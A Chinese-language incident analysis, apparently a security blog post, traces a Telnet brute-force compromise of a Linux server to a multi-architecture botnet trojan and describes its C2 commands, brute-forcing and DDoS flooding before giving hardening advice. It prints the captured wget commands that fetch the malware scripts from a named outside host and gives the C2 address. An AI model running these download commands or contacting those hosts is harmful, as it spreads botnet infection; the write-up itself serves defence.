0x00 前言
路由器木马,其主要目标是控制网络的核心路由设备;一旦攻击成功,其危害性远大于一台主机被控。
如果仅仅在路由器上面防范该类木马,那也是不够的,有很多Linux服务器违规开放Telnet端口,且使用了弱口令,一样可以中招。下面我们就一起来回顾一起真实案例。
0x01 发现异常
在对客户某服务器区域进行安全监测时发现某服务器通信流量存在大量Telnet协议。截取一段数据,进行协议统计:
Telnet协议一般为路由器管理协议,服务器中存在此协议可初步判断为异常流量。继续进行端口、IP走向统计:发现大量外部IP通过Tcp23端口(Telnet)连接该服务器。
此统计可说明:
- 该服务器违规开放了TCP23端口;
- 该服务器遭到大量Telnet攻击,有可能是暴力破解,也有可能是已经成功连接。
挑选通信量较大的IP,筛选通信双向数据:
查看Telnet数据,发现已经成功连接该服务器。
数据中还存在大量Telnet扫描探测、暴力破解攻击,在此不再详述。
0x02 获取样本
为进一步查看Telnet通信内容,Follow TcpStream。
将内容复制粘贴至文本编辑器:
发现一段自动下载命令:
#!bash
wget http://208.67.1.42/bin.sh;
wget1 http://208.67.1.42/bin2.sh。
连接http://208.67.1.42/bin.sh可发现该脚本文件内容为自动下载获取木马,且木马可感染ARM、MIPS、X86、PowerPC等架构的设备。
0x03 木马分析
(注:本章节不属于Wireshark分析范畴,本文仅以jackmyx86分析为例)
该木马文件是ELF格式的,影响的操作系统包括:
从上图中判断木马下载的类型分别是:Mipsel,misp,x86(其实这个是x64),arm,x86(i586,i686)等。
从截获的*.sh文件看,*.sh脚本想删除这些目录和内容,并且关闭一些进程。
首先得到了一个"Art of war"的字符串(看来黑客是个文艺青年)。
接着尝试打开路由器配置文件。
在配置文件里查找字符串00000000,如果找到就直接填充0;
在初始化函数中:尝试建立socket连接,连接地址为:208.67.1.194:164。
尝试连接服务器,等待远端服务器应答。
服务器发送"ping"命令后,客户端返回"pong"表示已经连接成功。当发送"GETLOCALIP"后,返回控制端的本机IP。当服务器发送SCANNER后,根据ON或者OFF来控制是否要扫描指定IP,进行暴力破解。当发送"UDP"命令时候,向指定的IP地址发送大量UDP无效数据包。
下图是木马尝试获得路由器的用户名和密码匹配,企图暴力破解账户和密码。
在被控制之后,跟随服务器指定的IP,发送大量随机生成的长度为0x400的字符串数据,进行DDOS攻击。下图是发送垃圾数据,进行DDOS攻击。
随机数据生成的伪代码如下:
根据网址追溯到攻击者的网页和twitter账号。
0x04 总结
- 路由器的管理如非必须,尽量不开放互联网管理通道
- 路由器管理密码必须强口令、最好超强
- Linux服务器一般不要打开Telnet服务
- 该木马一般利用爆破和漏洞来攻击路由器或开启Telnet服务的Linux服务器,中招后接受木马作者的控制,最后进行大量DDOS攻击